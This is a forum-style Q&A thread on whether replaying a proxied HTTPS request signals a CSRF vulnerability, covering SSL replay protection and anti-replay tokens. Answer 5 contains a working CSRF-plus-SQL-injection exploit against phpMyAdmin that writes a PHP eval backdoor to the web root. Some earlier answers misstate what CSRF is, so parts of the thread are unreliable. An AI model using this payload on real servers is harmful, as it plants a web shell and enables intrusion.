Replay attacks for HTTPS requests

Question

Let's say a security tester uses a proxy, say Fiddler, and records an HTTPS request using the administrator's credentials-- on replay of the entire request (including session and auth cookies) the security tester is able to succesfully (re)record transactions. The claim is that this is a sign of a CSRF vulnerability.

What would a malicious user have to do to intercept the HTTPS request and replay it? It this a task for script kiddies, well funded military hacking teams or time-traveling-alien technology? Is it really so easy to record the SSL sessions of users and replay them before the tickets expire?

No code in the application currently does anything interesting on HTTP GET, so AFAIK, tricking the admin into clicking a link or loading a image with a malicious URL isn't an issue.

Answer 1

As far as I know, CSRF is when one site refers to another site and steals the current users credentials as a part of this. CSRF is NOT simply forwarding requests.

A proxy is a trusted forwarder that should not tamper with requests. It's as simple as the classic man in the middle attack. If you trust something in-between your connection to your end-point, you're at the mercy of the man in the middle.

To intercept and replay an HTTPS request (the classic HTTP replay attack), you would have to be able to decrypt the SSL encryption of the traffic AFAIK. My guess is, you cannot do that. Much less, fast enough to be useful.

Some more background would be useful, but I'm not sure what you're driving at here.

Answer 2

HTTPS is not replayable, the first server response in the handshake sequence includes a server-chosen random number.

What Fiddler does is act as a proxy, meaning it intercepts your browser's requests, and then generates an identical request to the server, meaning it has access to the plaintext, which is what it will be replaying. Your browser lets you know this by telling you the certificate is from Fiddler - "DO_NOT_TRUST_FiddlerRoot", which you have to agree to before it will send the message ignoring the certificate mismatch.

Answer 3

-- edit: Note, I am wrong about SSL not handling replay attacks, according to the below it does. Implementing the token approach is still good.

Consider "replaying" a HTTPS request as just going back in the browser and hitting the button again.

So that is to say, you don't need to decode anything to re-submit an SSL request. Any node on the way can do it (they just can't see the traffic).

So if I capture your SSL transaction that sends me $100, then I can capture that and resend it so that I keep getting the money.

The obvious solution to this (well, the typical solution) is to generate a token on the HTML page, and then hold that same value in the session. When a request comes in, you check this value, check that it is the current value, and if it is, process it, and then change the current value.

If it's not the current value (i.e. it's the old value after you've processed the "original" request), then you know the page was re-submitted.

This is a common approach to prevent the duplicate submission of credit card details, and so on, but it also has this security benefit of forcing a unique request to match each response. An attacker in the chain who can't decrpyt SSL can't get passed this.

Answer 4

Do you mean to imply merely a replay of SSL (which has not yet publicly been shown to be possible) or of the authentication cookies (which is application specific)? The former would indicate an obtuse, privately discovered vulnerability in SSL (which you are unlikely to be able to remediate, I might add). The latter, i.e., where an arbitrary machine can supply cookies for a previously established authenticated session, does indicate a potentially exploitable CSRF vulnerability in your application, which should be addressed.

Even though SSL traffic is, generally, thought to be impossible to sniff via a MTM attack (assuming you've taken corrective action against the vulnerability disclosed last November), a cookie stored on the user's remote computer is not immune to interception (particularly if there is a XSS vulnerability in your site or any site on the same domain as your site). Such cross-domain / two-vulnerability exploits are increasingly common and, frrom a strict security perspective, an vulnerability is potentially exploitable, even if not directly through your application.

Answer 5

What you are describing is not a CSRF vulnerability. HTTPS specifically defends against re-play attacks of raw cipher text and prevents the attacker from knowing the contents of the request.

It is important to note that HTTPS does not really defend against CSRF. If the attacker knows what the GET/POST variables should be then he is able to build malicious html that when it is executed by a target will perform the action the attacker desires. If the web application isn't public and he the attacker doesn't know an HTTP request looks like, then they can't forge the request. For instance here is a CSRF exploit i wrote against phpMyAdmin. I have modified this exploit to work with https, and all i had to do was change the url from http:// to https:// .

<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&amp;table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"&gt;
</html>

This exploit uses mysql's "into outfile" to drop a backdoor. It work with no-script, becuase it is forging a GET request, and the browser thinks its an image until its too late.